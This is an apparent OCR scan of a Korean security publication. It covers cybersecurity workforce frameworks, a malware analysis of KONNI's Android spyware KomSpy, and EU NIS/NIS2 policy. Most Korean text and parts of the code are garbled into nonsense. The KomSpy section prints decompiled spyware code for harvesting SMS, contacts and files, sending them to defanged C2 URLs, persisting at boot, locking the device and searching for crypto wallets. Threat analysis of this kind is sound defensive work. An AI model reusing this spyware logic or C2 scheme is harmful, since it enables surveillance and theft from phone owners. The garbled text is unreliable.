AOJHERH Q12 T AI(NCWF)= AX| Hot AJAH 150t 2F, |, RX|E 20N HRE T
77HK2 2F/old, HFE MR B0 AN FHFQ MRIIE QFARIS MARMSULCE 771X gF=
OISt 7|& HEZ(Securely Provision), %1t Zt2|(Operate and Maintain), 252t #0{(Protect and
Defend), ZAKInvestigate), 2F1 $£El(Operate and Collect), 24(Analyze), XI2(Support) S22

=R

(12 2] Of= AO|HEQF Q1 T3 (NCWF)

Workforce

Lexicon identification, Shema.

Capital

Planning

Capable and

lecall.ty NCWF Dadiicamank Ready .
Analysis of Position Cybersecurity
Descriptions Workforce
Proficiency Requirements
Analysis Requirements and

Standards

Figure 1 - Building Blocks for a Capable and Ready Cybersecurity Workforce

® ¥=9 AHR= UK Cyber Security CouncilOflA Initial National Cyber Skill Strategy(NCSS)10E
LHSI0 AlO[H EOt 202 TEY 7|8t SRS QISH AO|H 2ot HRISE d™ot 1971 XA7[EtE ==6t

A0l 2Ot XA HAIS FFBSLIC

UK Cyber Security Council2| The Careers Route Map 2 AlO|H| EQtO| 167X M Z0}0f| CHEH M|5:
HEE MBSt 2|0 HAS HOFRILICH ZE ME AR0l= M 2050 TS AJH, TS 7|8 X XA
2:

2]
HOF TR 2010 UEoi= ARSS T RS Fua AZ S0 et EIh ZYE0 USLCL

9) https://csre.nist.gov/publications/detail /sp/800-181/rev-1/final

10) https://assets.publishing.service.gov.uk/government/uploads/system/uploads/attachment_data/file/949211/Cyber_sec
urity_skills_strategy_211218_V2.pdf

11) https://www.ukcybersecuritycouncil.org.uk/qualifications—and-careers/careers—route—-map/

°
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& Intrusion

Incident Response
Detection
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@4 @ pathways for the 16
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specialisms in cyber security.
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Management § - X
Pick a specialism to find out more.
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Communications Secure Operations
Security
& o
a
i N =
2 12 &5
Identity & Access Secure System Cyber Security Audit Data Protection &
Architecture & .
Management B & Assurance Privacy

ici| I
Cyber Security

posure System Governance & Risk
Development
Management
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CyberSeek2| Career Pathway ALZ GlA|

m Skills and Certifications
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FEEDER ROLE ENTRY-LEVEL MID-LEVEL
Jti Cybersecurity Specialist
Networkifig Cybersecurity Analyst
N
\ o
Software Development s
— \
Cyber Crime Analyst \
Systems Engineering X Cyberseourity Enginser
z = \ Cybersecurily Consultant
NN
3 >

hd
Incident & Intrusion Analyst \ \ /

Pengiration & Vulnerability

N AN \ Cybersecurity Architect
- O s
Penetration &

Vulnerability
Tester

IT Auditor

Click the circle for
more info
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0|2I0= Cybersecurity career roadmap2 LIE CIASH 2IEA AO|ESE F7I6HL| &II6HM|Q.

Cybersecurity career roadmap 2 ZHHA AO|E

https://www.coursera.org/articles/cybersecurity—career-paths
https://www.computer.org/publications/tech—-news/build-your—career/cybersecurity—career-paths/
https://niccs.cisa.gov/workforce—development/cyber-career—pathways—tool

https://www.sans.org/cyber—security-skills-roadmap/

o A WIN -

Security engineer certification path: https://learn.microsoft.com/en-us/certifications/roles/security-engineer

AOlH E2Ot o1 BE=2 @FE 7|YRER Otl2f =7F 20| ot mt =RAsHE. EF H 7IY FAl
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CI™QULICEH HOt 2 w7|2nt Sisdc] WAt A B8 ws 2 QE6H], Microsoft Learn 2
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12) https://news.microsoft.com/ko-kr/2022/04/01/cybersecurity-skill-campaign/
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https://learn.microsoft.com/en-us/certifications/roles/security-engineer
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Discovery Z= 122 13 - 18A| S 2= of= AO|H Ot wg T2 MO = 10HS0| ALO[H EOt0]
2elS A=F off D[2He] AMO|H EOF QIMHZE s off AOlH AZ HZ F017| flot L2O2 AIRE|USLICE
Cyber Discovery= &l WSS Solf =2 L0 et =ME KHSok= SA0| 5 1SES0| AO|H HOHS

ANEoteg] F24E F= T D202 USRS
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SHUS0| Fofi, F=Ql 500097 Sht7t FOMSLICE F7IKCl 92%= Aol HOt FO0piIN XIS
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* Cyber Discovery Evaluation Report:
https://www.gov.uk/government/publications/independent—evaluations—of-cyber—discovery—an
d-cyberfirst-programmes/cyber—discovery—evaluation

o = LSXQ| AO[H HOF AZ Q1 Sigh
https://hrstpolicy.re.kr/kistep/kr/board/BoardDetail.html?board_seq=50929&board_class=BOARD

13) https://zdnet.co.kr/view/?no=20220624093830

14) https://joincyberdiscovery.com/

15) https://www.gov.uk/government/publications/national-cyber-strategy-2022/national-cyber-security-strategy-2022
16) General Certificate of Secondary Education(GCSE) - ¥=9| ZSuSUHOZ A= MEin=2oz J1ME 21 TPyl O
EHRALICE
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KomSpy:- KONNI's Main

Weapon Targeting Androids

ZHAZF 0JAl, S2W, kjkwak12@gmail.com
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2. Detailed Analysis
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ALESICE MME IDE 13~18Kt2|Q] A2 O|2UX|H, “alixml’?| SharedPreferences IS A4A5HH
“myphonenum” 2|AA0 ID #2 NE LU SESIC KomSpy= Lokt IDE F&6/| ol A= 52
2AH(myphonenum)Oil CH3H 77| IMEI 2t& ARBSIAXITE EZ20| WHE HEB0= D5 7|7|1E F+=25}|

o5 AE M4E MAGHE HOR SRIEIICL

oT= oo

St

O5HKH 19 ID 244 (Math.random()

if IgetSh&l‘EdPrEfErence&l "al ‘." » 8).getString("myphonenum”, "@").equals("@")) {
a = String.valueOf(Math, random());
] 82 = a.suhstrlngta 1nch0fl".“] + 1);

SharedPreferences.Editor localEditor = getSharedPreferences("al
localEditor,putString ("myphonenum™, a2);
localEditor.commit();

i", @).edit();

}
ofid AEIEE 77|10 MEE LES ZEGH| flofl S8 ML e Hets ¥t g 7Is2 oA
KomSpyOil= ZMotX| Lp%2H, Android 10(Android Q) == Scoped Storage 7[S9 Qlaf XS
MEa 0149l M2 HeHSE MEA)S &S| floi F/I=ALC
o= KEA M3t 9
if (permissioncheck = @) {
Toast.makeText({this, "28 &¢ BILCh", 1).show();
if (ActivityCompat. shouwShonﬂequestPerﬂ;ss:unRat wnale th:s “android.permission, READ_EXTERMAL_STORAGE")) {
Toast.makeText |this, “Uu = Asto] R 1\ shw \
return;

!

ActivityCompat., reﬂuestFermLssmns uus hew 18]
Toast.makeText(this, "W4HE ¥ | 0] WEk
return;

ission,READ EXTERNAL_STORAGE}, PointerIconCompat

At S50 ARE|H KomSpy= AFBXIOIA e BOZ £0[7] s WebViewS 4445t0 Probit 7HatSHH|
Heliax 2791 HO[X|off H&SHt. WebView S& dHFH0IM I[N o SOIM HE 25 S8 SXHOZE A8EE=
Overlay Attack 7|#2 AMEEX| FUCH, T HAOIE HE 7[sC= MAUEACE

WebView= AdEE Soff H8EH, &8 AHCZREH 6= Fof UG 0 A0 oy

- OL

MH|A(bitstoaservice)S SEOIH ALBAPL Y HOIXIS 7|Ci2l= SOt YE 25 32 A7t ALt

B & AN (Thread) 2 O AHIA A3

this.intent = mew Intent(this, bitstoaservicelclass);
LeTr

Executor cuter ). scheduleAtF ixedRate (new ble() { /7 from class: com.bitstoa.TempActivity.l
public final void run() {
TempActivity.this.count+
if (TempActivity.this. count 4) { // wait 6 Seconds
Intent locallntent = new 1ntent droid. intent.action,VIEW") . setData{Uri.parse(“https:/facco

lecallntent. addFlags | 268435
TempActivity.this.startAct w:ty {locallntent};
TempActivity.this.finish(];

bs !l 1500L, Timelnit. HILLISEfWS
startSl:rv.\cc this.intent}; // start -‘.’.J'._'\;Eu'.- Service

al



ALO[HE 2t CHAT

=35 Probit ZAF 2791 H|0|X]

s
B Prhps s
Le)
Liosg In
Foupoi your pasgwoed?
Hegister

SXIE ¢of 2t HAE(doTimerTask)E TimerTaskd| S2510f 3=0iCt F7|MO=Z C2
§5H:|'_

—_

PYTEL X

Me| S4 2 AH#P| FlagE MAotH S Flaglil osligdk=

_ =x< 1

IAS
T=

ol

got

ot MAE TimerTask S2

this.timer = new Ti ([true);
thizs.timerTask = new Tesk() { 7/ from class:

/¢ java.util.TimerTask, java.lang.Runnable

public final void run() {
bitstoaservice.doTimerTask(bitstoaservice. this);

com.bitstoa.bitstoaservice.l

}
L

i
this.timer,schedule(this.timerTask, DELAY_ 1088, INTERVAL_3J@e@);

KomSpy 413 £7| MAE Lo ID@Y £X)E BEol0] C2 MHERE 27} U Qi 2o}
9 23 BIs

238 TUS 90 7t TS Aloin

rlo

MHZEE 200 SEHO| $AEH, oy

gdaleitt.

S2X 27 JIs & Flage XS 20ISk= “bContact’?t OF, “bContract’S ARZSIL ULt 01R2

WEAPY ZES T8 [ TYE 2= 20|H, KomSpy AFAE =7| HURE] ZXHoIACY.

C2 URL: http[:]//92.xx.160[.]152/bitstoa/files/To_{I|5HX} ID}.txt

ac




SAIE H2of

] e

£ u5

0 M2 F7t ofd A2

mel Az 2 9z2c =

get_time bGetTime SIXH A2 XE /data/data/O/com.bltstoa/tlme.txt
get_user bGetUser X HE XNE /data/data/0/com.bitstoa/user.txt
get_account bGetAccount X W AE HE NE /data/data/0/com.bitstoa/account.txt
get_app bGetApp it Al Z01 o E2 K& /data/data/0/com.bitstoa/app.txt
get_contact bGetContract OA2 /data/data/0/com.bitstoa/contact.txt
get_sms bGetSms OAE /data/data/0/com.bitstoa/sms_all.txt
get_sdcard bGetSdcard = 2R X¥A W OIY =5 & /data/data/O/com.bitstoa/sdcard.txt
get_switch bSwitch C2 A HY -
get_keylog bGetKeylog OAE /data/data/0/com.bitstoa/keylog.txt
upload bUpload HEA W NMEE o &5 hitp[:]//92.38.160[.]152/bitstoa/up.php
download bDownload  C2 MH L{ EH M CREE  http[:]//92.38.160[.]152/bitstoa/up.php
del_file bDelFile MH-IE_?EJI;: j_iﬂ'.:_f”evl " -
MHEEH XY= 2
del_sms bDelSms 1 U_1'I_AI1XI l&?xu At -
send_sms bSendSms =Xt HIAK] & -
open_app bOpenApp CHE7|0 AXE EY A A -
install_apk binstallApk EXN APK I HH7(of Mx| -
uninstall_app bUninstallApp EHt7| LY MX|= o ALY -
open_dig bOpenDlg 7{AH dialog B -
open_web bOpenWeb ¢ HE S5t £EX f¥UANIE & -
screen bScreen Y| g7 2H -
volume bVolume o 28 =F -

6) 27| W= 3

UEH, 0|2

O3] FlagOll 2t Of2H &
C2 MHZE X
7171 M2 22 ¢ C2 MHO| 2JsH

E3 HET| WM AMIECE o 7

20 SR TIU0| MNED BRI Y

7t BE0| 42 FR0

2
=

I
M
o
iml

22

i B |

2 2] ME I

g§3 o =5 _ SRTE
(Path: /data/data/0/com.bitstoa/)

time. txt Alsl G5 HIAIX], 717] THEE A2
user.txt A= |7 | HE(Imei, MaltHS, OS HE)
account.txt HT| W MEE AE M

ad



MO0 CHQIE!

20|

contact.txt % = poE==
sms_all.txt HH| SMS W
app.txt Y| L AXE o =5
keylog.txt 7| = 4t
sdcard.txt MEA W EXole PE OiY 4=
sms_new.txt Mz #ME SMS W&

o C2 MY TS

Var9l.append({appProtectService.getFilesDir().getAbsolutePath()); // get file path
Var9l.append('"/");
Var9l.append | registername, sdcardFileName) ;
if (appProtectService.sendRequest(Var9l.toString(), false)) { // send file to server
new makebread();
gBuilder Var3g = StringBuilder();
'ufar% append( regis tername Get!-'ﬂePath-: appProtectService) ) ;
Var96.append( registername. sdcardfFileName) ;
makebread.delete({Var96.to5tring(}).booleanValuel(); // delete file

S=E Intent0f 2o ZHE 71717t MFEE WO HEEEIHAE 2AHO| Ofof THFEE AIZ{0] init.txt

ool 7I1=Eld, 2 "2 25 S0t 2EetEll ofg AMH|A7L SEELC.

0|2 XHEEO| 2lsh ot MH|AZ} SZF Iff Ot “OK, My Spy'2t= A EFE init.txtIiA0| 7|ZSIC.

* Service Name: bitstoaservice
* Path: /data/data/0/com.bistoa/init.txt

* Content

o4

o “Ok, My Spy”
0 “Restart Phone : Time {yyyy-MM-dd hh:mm:ss}’

T THRE Al V1=

| =
f/ android.content . BroagcastRecelver
p-M.I.: vold anw l.'ml:r!f paraml, [n:en: parami | {
it i paruz petAction ). equals(~android, intent . act jon, BOOT COMPLETED" )1 {
Varid = new sti:
fb' {Act ivityManager., Runndrgbervicelnfo runnimgServicelnfo @ ({ActivityManager) pares].getSystesServicel™activity™] |, getRenningServicas(10al) {

Varzd. addi runmingServiceInto, service, getShortClassiasal ) )
}
bitstoaderyvice. bEatTise = true;
bitstoaseryice, beetlser Erua;
bitstoaderyice, bGelhccount = tres;
bititoaderyice. bCathps = true)
bitstoadervice, bGetfontract = trua;
bitsvoaseryice,bbetSes = troe;
bitstoaseryice. bbetSdcard = true;
makehresd. WriteF ileparaal, regidternase, 1nitFileieee, “Bestart Phone @ Tise " « new SisplebateFormat [ “yyyy-+0-dd hhimaiss™ ). format( 2ol T
Intent ¥Yardd = new Intentl);
vardd, setClass|parssl, bitstoaservice.clads);
parsal.startService| Varda);




a3 ofz 7|2

if [ 'new el registername.GetFilePathithis) + registername. initFileMame).exists()) { // init.txt
biGetT ime true;
bGetUser = true;
bGetAccount = true;
bGetApp = true;
bGetContract true;
bGetSas = true;
bGetSdcard = true;
new makebread( )
makebread.WriteFile(this, registername.initFileName, “0K, My Spy")

P

SMS ==4I0f| CHSt O[HIETL 2fRIE WO, oiid HIAIXKIE Sl &= WES LiU0| 7I=eiCt.
» Path: /data/data/O/com.bistoa/sms_new.txt

* Content : Number, Message, Received Time

FE AKX 7=

if (paramd.petiction|).equals!“android, provider. Telephany 505 RECEIVED™| & parand,getExtras mall
Il Ward | parenl . getExtrag| ). get (" n
taiMediage | Vard - mew SeiMegiage|Vard, Length|;
for [int L = @; L = ¥ard.Lengthy 1++)
VarS[i] = SasMessage.createFronPdulbytall] vardlill;
this. ree vePhoneNum = Vars (L), getOriginat ingAddress( )
thin. snillody = Yars(i].getDisplayMestapeBody||;
localDate » mew DotelVard|i) qrﬂLﬁﬂm‘m u!u. 1}
thls, recelvedbate = new SimplelateFomat (= yyyy-FM-od HE m . tormatiijava.util.Catel localDate);
itrl Harte + Uhis, receivePhonehiul « ™\ r\iMelisg + this, smiBady + "\ rnT Lne + this, receivedDate +
try |
L ot paranl, opesf | Leutpul (reglsternanes . o _neof i lodane, 127681
out.wuritelistrl o f Qethytesi) )]
out £ losel )
} catch i lecal I0Excent ion
lecalIDEscept Lon. printSteckTracel);

M0l C2 MHZEE “get_switch” E
HHZ HASIT

o
<
il
e

wilolH, Y W MIEU= C2MH HEE M= s21E C2AH

MW 7|2 oz MEE C2 MY HEE “bitstoa” AR27F ESIE|X|2t “get_switch” HE £AI0Z Ql5j| AH

HHE ZASHH “bitstoa””t OFH “manager” Z=2E ARSI oY HAZ= 1 KomSpy ME0A A=
O|H0| ZEXyotct.

KomSpyOit= T&719| 717| EERIE Erdelots 71S0] EXRICY. 22Kt ZRIOZ AKZS FMS ok xmiIi2i0f HAGH
7P| BRIkt 2E 2EolE MRSt TIoF AEAPY 77| Heikt EdelE HEY 42, VIS HE HEIZ Mkt

= OO

a9
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12 11] C2 MY A

case 12:

if (this.orderLineNum != 1) {
break;

} else {
valdai.URL = Varll;
valdai.BASE URL = valdai.URL + "manager/";
valdai.UP File URL = valdai.BASE URL + "files/Tc “;
valdai.UPHP = valdai.BASE URL + "up.php";
Log.d("inja", valdai.URL);
break;

(7121 12] 77| BRIX}F BlE eI

Pﬂhliﬂ class Adminfeceiver extends DevicehdninReceiver {
e {/ android.app.adein.DeviceAdninAeceiver, android.content.BroadcastRecedver
puhllt vold onfeceive|Context argh, Intent argl) {

}

) rig ,-',-' android. app . adnin, Deviceddnl nRace L wer
puhlic ¢ onbisableRequested(Context context, Intent intent) {
Intent nutufmakag: = context.getPackageManager| | .getLaunchIntent ForPackage (" com. androld, settings”];
out0fDialog. setFlags (2EB4354561;
context, startActivityloutdfdialog);
Dev icePolicyManager dpn = (DevicePolicyManager] context.getSystemSarvice “device polley" |
dpm. LockNow! |3
return "That's ok?™:

(12 13] HEIXE Aot A2 F(ok.xml)

<device-admin xmlns:android="http://schemas.android.com/apk/res/android">
<yses-policies>
awatch-login/>
<reset-password/>
<force-lock/=>
<wipe-gata/>
<disable-camera/>
</uses-policies>
</device-admin>




3. KONNI and KomSpy

KONNI 252
TRl KomSpyE
Arglet ALNUIOlY S
FIRES Aot T SRIZIUCE

O[HO| MEA UZ4E KomSpy= Of2f HOIAM
‘RO MAE 7157, “AA FE'TL OIR

WHEE ARSH KomSpy YMTFCESE

i 3] KomSpy ZE=

A 71 FE0i(2019)

argas.io = -a;
arglsS. ja = @;
b Vel £
tring w7 = wa.resdiinel];
1r:1.-:r e pWBEY
Dreak
3

inT w8 = argis.ja;
AF(wE == @) {
1F(wT . contmine (“get_Time"3F
argiS.g = Ttrus;
¥

Af(wT . contains (" get_user 3} £

ArglS.- = true;

1F(uT_ containe(~get_mccouwnt~}) {
argiS.s = true;

AF (w7 . conzains (“g=st_aspp~ 3} {
argis. © = trus;

¥

e 25 M 55(2019)

public class ¢ {
public static =
public static o
Public static o
public static 5
public static s
public static 5
public static :
public static o
public stati
public static 5
public static
public statie
public stati
public static
public static
public static ¢
public static 5
public static =

“record.mpad”;

1193, 148
193, 148,

http:/
httpiff

M7 FZ Windows SEHME MO
Sofl ZHIY 717(0f Thst
Soll KomSpyE RESIRL, =L £ ZEAO|EQ! HIOH, Ch3at HiAX Mol

od EME

MS Word FESIUX|TE QIEZ0|E
SAS AZGILCL 20199 2L 7MSHY H2iAQ! “HIWS

SISt = ARO[ WA REE ARt "EF HE", "C2 F47,
FAloIL, O] 9 7isit 54 80| SYol7| WZ0 KONNI ZE0
XI&SH Ar8dk= Aoz EQICt.

T H|W(2019 vs 2022)

AIEl 371 HH0i(2022)
this.orderium = -1;
this.orderLineNum = 8;
while (true) {

String Varll = bufferedReader.readLinel);

if (varll != null) {

if (this.orderLineNum == @) {
if (Varll.contains("get_time"}) {
bGetTime = true;

}
if (varll.contains("get_user”}) {
bGetUser = true;

}

if (Varll.contains("get_account")}) {
bGetAccount = true;

¥

if {(Varll.contains("get_app"}} {
bGetApp = true;

e 2y oY 55(2022)

public final class registernane {

public static String initFileMame = "init,txt";
public static String timeFileName = “tise,txt";
public static String userFileNase = "user,txl"}
public static String accountFileName = "account.txt”;

public static String appFileName = "app.txt”;

public static Siring contactFileName = “contact.txt”
public static String sms_slIFileName = “sns_all.txt”
public static 5tring sdcardFileName = “sdcard, tat";
public static String sas_newFileName = "smg_new, txt")
public static 5tring keylogFileName = "keylog. tat”;

public static String GetFilePathiContext context) {
return context.getFilesDir() . getAbsolutePathl] + "/

public static Szring }
MEH EZAE KomSpy= 20199 RECUE MSd HWMS O, =8 7Isdt SEEE 27 7Is0| O

HZO|A M| 2|=|RAC.

a/
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|5 4] KomSpy 7Is H|1W(2019 vs 2022)

KomSpy(2019) KomSpy(2022)

92.38.160[.]152

193.148.16[.145

Upload Url

http[:]//193.148.16[.]45/manager/up.php

http[:]//92.38.160[.]152/bitstoa/up.php

Command

http[:]//193.148.16[.]45/manager/files

/To_{L|aHXt ID}.txt

http[:]//92.38.160[.]152/bitstoa/files
/To_{ HIGHX} ID}.txt

IJsHAt ID

Y

Device IMEI

Math.Random() 7|gt L~

Y

Fake URL Bithumb(7MSHE 7Hz2H4) Probit Global(7MSHH 742{4)
Tt == o7 X 0
C2 =& A 7Is X 0
N X &2 o X
2dA 0|5 H=st 0 X
oMM MIAE A3 37| 3x 3=
a3 | wios | ms
R . o AlsH —-—T’(OK My Spy) . o AlsH —.—TL(OK My Spy)
3 A =2 =o =o
gt ME 7|2 init.txt THEE A2t init.txt THEE A2t
A AR A2 A AR A2t
M AR AIZE 712 time.txt (yyyy-MM-dd hh:mm:ss) time.txt  (yyyy-MM-dd hh:mm:ss)
- LocalTime - LocalTime
IMEI IMEI
. Number Number
CHHIO|A XH EbF| user.txt user.txt
OsType OsType
API Level APl Level
_ AY A AE fd
N XM Ebx
AN HME EH account.txt HE 0|2 account.txt A o=
App Name App Name
MRl HE e app.txt Package Name app.txt Package Name
Class name Class name
- } = =
o2ty My EfF contact.txt Z contact.txt -
HS HS
41 HAIXRE 41 HAIXRE
< A HIAIXIRE A HIAIX S
JI= LHE Etx =
& SMS W& EF| | sms_all.txt Sl O YALK[3L sms_all.txt SEAL O BYAJK[3t
QUAI HIAIX|2 QA HIAIXI2
77| Lf MY HE BE|  sdcard.txt ol =22 sdcard.txt ol 22
S, A
Lt SMS EF sms_new.txt LA HS sms_new.txt ALK} HS
=5 ==
71224 keylog.txt KeyStroke 2t keylog.txt KeyStroke @t
=l clipboard.txt =EEE H|0]E - -
=3 record.mp4 7| =3 HolH - -




IESH PO YUZAE KomSpy OlA= ZIMPERIUM IPS AX| O, I 92C A| £ 2XIY 3t X240]

UAE R UAKXT, OfH AROM= BRAZAL 7+ 50| 7|52 ZAEX| BERUACL

=211

5] 202040] 2HZAE KomSpy 7ls L8

Zimperium IPS AX| 0§52 &0l

public static boolean isZIPSInstalled(Context ctx) {
for (PackageInfo packagelnfo : ctx.getPackageManager().getInstalledPackages(1}) {

if (packagelInfo.packageName.equals("com.zimperium.zips")) {
return true;

y
¥

return false;

¥
Hp| L Y SRS Babls I 22 Y

if (stri.contains{"Nice"} && this.x < 180080) {
Af (str2.contains{"*")} {
String absolutePath = ListFiles [i] .getAbsolutePathi);
int i2 = @;
while (true) {
if (i2 == e.target_keywords.length)l {

break;
} else if (absolutePath.contains{e.target_keywords[iz] )} { B

this.y[this.x] = absolutePath; s/ “wallet”, "coin™, XTI, =g
this .x+sj
break;
} else {
Ai2++;
}

4. Conclusion
* KomSpy 2HTFEIt 2 JHaah H2lis O%EIﬂIOIﬁ" M"'of04 REECE HoM 28A 0|502k=
SHS Qs JHMEHE HaA O|2XIE ERisls 202 XME

o ST AMICE= P A2t HIWFHE If 7S 2 Hek= SIII”J, HE0| F&=o| ME= AN,
BS0|Lt 717] 2Rt &l AR 0| FIHE AC= HOt % YHO|EE HE A4IE

EAME 75d90| =2
« KONNI 122 DHI =0t ofL2t YI=LX0| Cist 2HS 43
OMYTAEE RIEGHH, 2019¥0| ALGIAS Sdif KomSpy 244
o O QIO AR AL|K{I}YO0| SHE|X| UUCH, AL|CT|Y 9|01| CHE YAO=2E K omSpy i,
= Gi= o &X|0f| CHet ZiEst

éga* Mol= =2 ALY HUS Sl

REE 7F5d0] EMol/| W=, SA DE 2 LIR2E F9| 39| EXE ¢

Fopt mes
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5. Appendix A. Mobile MITRE ATT&CK

i 62001 EveE”t T”t‘?ge_red - SMS £Al OBIES £A15/0] SMS =3
ersistence ) Xecu |on.. . BEJ OMIES AAGI0] CRE P TIEEIS AZE 7|2
Broadcast Receivers

Impair Defenses:

T1629.002 . o 7|17] E2|Xt st HE Al HETY| FHF
Device Lockout
Defense Uninstall Malicious o S A=l Ex| A
. T1630.001 - * C2 MH=ZRE IS Lol £ 0iZ2AI01 XA
Evasion Application
. . * C2 MHZRE HHS Liol0] EF MY M|
T1630.002 File Deletion . S TIOIS AMHE MASH B SIS IOl AL
Credential T1517  Access Notifications * M2 %AIEl 2Xt 42 25
Access
Tiao e and Directoy o) sz oeis ausi) Ty 22 o
Discovery
Discovery T1424 Process Discovery ¢ C2 MHERE THS L1610 SiRf| 254 01 M =5 25
Tiage ~ Oystem Information |, o o opie 06101 IME, API Level 245 4
Discovery
Command 1 157 001 Web Protocols  * C2 A2} S4I517| 2ol |HTTP) Z2ES AL
and Control
N Exfiltration Over ¢ HTTP Get Q™S AIEsSIH 2 7|7| ID Hs
Exfiltration 11646 C2 Channel « HTTP Post QXS AIR501 HOJE| O
Impact T1582 SMS Control  * C2 AMHZEE H2S AAI510] 210|9| SMS AtH|

60
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ALO[HE2F CHAT

SE(EU)Ql
SISEE S

Z==01 AP, QISICstw CIX|ESLMEIME, sumin928@gmail.com

QEASES 2003 “‘HEXZT % HE HOt 230 Cist Q&9 M2 #4l(Council Resolution of 18
February 2003 on a European approach towards a culture of network and information security)”
£ OARZlolN Zolgt & AOHEQE T2TMS AIRY17)

- 200241 19 OJAf3] ZOPRlolA HIEYT U AJOIHES SO BSO| B AR SF T Cfst
OFAS O[El| SISt XISHOI ERi0| HLEIOIOF B ot

- WRHA SIREe B U DI AHHAC] T THOARN HOKS
OBk THS

@ Hot 2H Al 2 Wjet xq et SHIO| HSO0| CiEr XIAHR! T

0|>I
i
K
M

tE2 Sofl 22t ALIE

QB U Wt 4F, 55| W M Jl& U MHIAS HBsHe DS ofs AR Zxo| WesS
Mok SRl weo| 47
© 2OHm BRAT DY A0 TSt HEE QA0 SHe TR W2t MUE M DE D2AAS 49

- HOlE =8, 24 & M=2 HOt /0| Uit U8 Al=S 2E=1t i ZAKE X= MRt
- HERZ & . AA”Q Hotnt HEH60] 2lE= 79| MY S X|Hstl EXsH| flol alg=
EZ M2 “HEQZ Y HE AAH HOEZ It @8 A& 7|ZH(ENISA, European Network and

Information Security Agency)’S M&

20161 8EOl= EU 2=l AO|HEQH A Ziop I AO|HEQH 2/ WS FHS Bhiol7| <ol
HMEHSXIEI(NIS Directive, The Directive on security of network and information systems)189& XA

- 3= S K79 0 I TS st HYV[AUS XIS AO|H ASHAIIHSE(CSIRTs)198 AX|
- ENISAE ZlsHALTI0]| CHSH ME w2Kexchange of information) & #1218 2[5t ZIGHAIIHRE! HERIT
(CSIRTs Network)E 752005111 2= ZH MY &y 3 HHE wets SXI5H MzlE 71556H7| 2ot &

2 1Z(Cooperation group)S &4

rior
fujo

17) https://eur-lex.europa.eu/legal-content/EN/TXT/?uri=celex%3A32003G0228%2801%29

18) https://eur-lex.europa.eu/legal-content/EN/TXT/?uri=uriserv:0J.L_.2016.194.01.0001.01.ENG&toc=0J:L:2016:194:TOC
19) ZlSHAIICH2E(Computer Security Incident Response Teams)

20) https://csirtsnetwork.eu/
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- 3Q 7J|dt MH|A(Essential service)2) AlgiAk= Y2 F MOISHI AIBSH= HERT L HE AJAHI0|
n

CHolf XEst 7IsX-2elX ESZXXIE Flofal, St FoAlL &Y Al OIF 3[E= HI7IE0 SX|

ZZ20l= CIX[Eatet A0 SZC=2 Z55k= AO[HEQH 0| tHE5| 2l 7[ES| HEEHOXES
HX[ot? M2 MEHSXIE(NIS2, NIS2 Directive)229| HES £ £29)
- NIS2= AlO|H HOb &aka| XX, Al B, HME IR SO0 CHE ARIO| THS=D, XME A7)0 @
St 7RIS 28t
- CSIRTs Network®| Sigts 2315101 A=|Qt M2|9 UM0j| 7|05t 3|2= 72| &5t Sut&Ql 2

24

=

oo

X

—

ujo
Jpa

I 1] CSIRTs Network? FoH2
(a) CSIRTO|| CHat XM mst

(b) ZoHALLL, ANOIH 2I®, 218 H FIFJoll Ciet 2 2 3R

—_

(c) AFHQ RIXHN Hok2 Hi= CSIRTs Network CHEC| QO M2t sHZ A4 2 22 AOH U

2 o o
FORST BIGIO) HEE BT =2

H, =<

(d) CSIRTs Network CHECS| Q&0 w2} oy Sl2=2| 2Haa LA 2QIE A0 ol =2f5t 7Hset &

o
S

() ZES ZET ML M2E 2l 2= XA

4o

() M=z CE si2=0] 28 ICT MF, ICT MH|A 2 ICT Z2MAQ| o] MEYX E= MSYUX =
OXl= Fordel CIRRE 2FE S0 Hiet ol Mex=0| ==l AFdEl CSIRTO & 2 XA HiS

22 o
(o) CISTH BRABI0Y 57} EO| 2% B2S =0j5fT Al

() AOlH I3 % Afzio] Bz

(i) 27| 8=

(i) & XA

(v) 272 2 A U AR S5Hs THS YUst §A| U WAy

() M7ZE)0l AZE 27} Aol HOt AT U 97| THS A& 4
(h) LRs 22, 1 B U (Q0N M2t =0lF 29 #210| 571 HEHo| thoh B2 120 Y21 23 XS oF

(i) ENISA! 2i7H| A0 HOH 23 Al
() 7HE CSIRTS| F0| @2t oY CSIRTS| st FH|Ho| Chst =2

—

MIE(SOO)t B=oly HE SR
() A1e(7)=0 Sigd 38 dE 2UME =9

(0 O3 Molo] A U QIBO| et UKl A QIS JhMal| QIS Ko U Bt 4EO| HOt 2%

(m) S0 25t 0] X Ho| MEut ZH2AGH0 XM 2so| £33 2|5t X7 el
21) AUXI(TZ], MR, 7tA), REES, 7IAL o, =2), 23(credit institution), 28(7Haia &), B, 2xE8s 358 2 24l),
CIRIE(QIEY Wt AH| EHQI 4 AAH A1H|£ Hl*ﬂ 5), TR ‘é%ﬂ% SfRCHTE MHIA HISAE, 2 olixl

22) https://www.nis—2-directive.com/

23) 20218 102 EUMO| CHet 712 7 HYS AIXBIACH, 0lAfel= 2021 12 0[0] St 2022 58 130 EiIAf LIS
CHer 28X ool =2
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(a)
(b)
(©

S Ao|H 7] 2t 717 YIERIF(EU-CyCLONE, European Cyber Crises Liaison Organization
Network)E S4dMoz M6 EU 2 3= 79 ME3R % &= ZsSHEU & national

cooperation)24)

I 2] EU-CyCLONES| ZQ9i2

Lt EloHAtLIS| CHH
22 MO FoAfI0 Tiet & QM S&7

o
T EeHALL & 97| #2S ZFotil J2fet AR R 217|2 2EH6I0] FXIK ZHEUA SlA 2ES XA

(d) =7+ Aol 2Ot Afxr S TS Al=of| ol el

AO|H HOt ME Zq X=X 22 Sl 3[¥=0] LHI0|EESE(GDPR, General Data Protection
Regulation)2 Z#loliotX| 210 TXM0|0 F28H 2| FH|(essential and important entities)7t A0t
t

oF, FIoKY, EfE XIE, X, & U TR, A0 2Ot 2T U 7Y 79 AT YES H3lol0]

RIS 210 22 MOl HO HES mEist & UES BIE US 57

ATE O, IR, ThS i §BBHS XS SER 5101, AOJH| I CHSt Q1A 0T, T24et 9l3io)
S 522 TiBH EE WeoH, TS WOl T, Fok Y ¥ BN, YU BN Ty, sk XY T
S ¥ =7 S Ris

SpTS WAXO|T FQ3 WATAS| HSIR7t HEo| HUHOR QIS 42 HAGH e FR
RS S6H AIRSO0F 01 AN20] S Y FHS B0} AR 7

SlRaE Rl BTIEC] exol BX) S SR Tk
RN B0s B07IQ0| SXIS MSSIK TP H17I90l 0| EiX| QS OfEE F7IXOl
oE )&

sjeime He 29 ool MR, 2% 24, U8 U IS BAls FEig A
O F2 AHIA HEXS! ORI HHl ERIZ FEHE CANEnTe)S S50 )

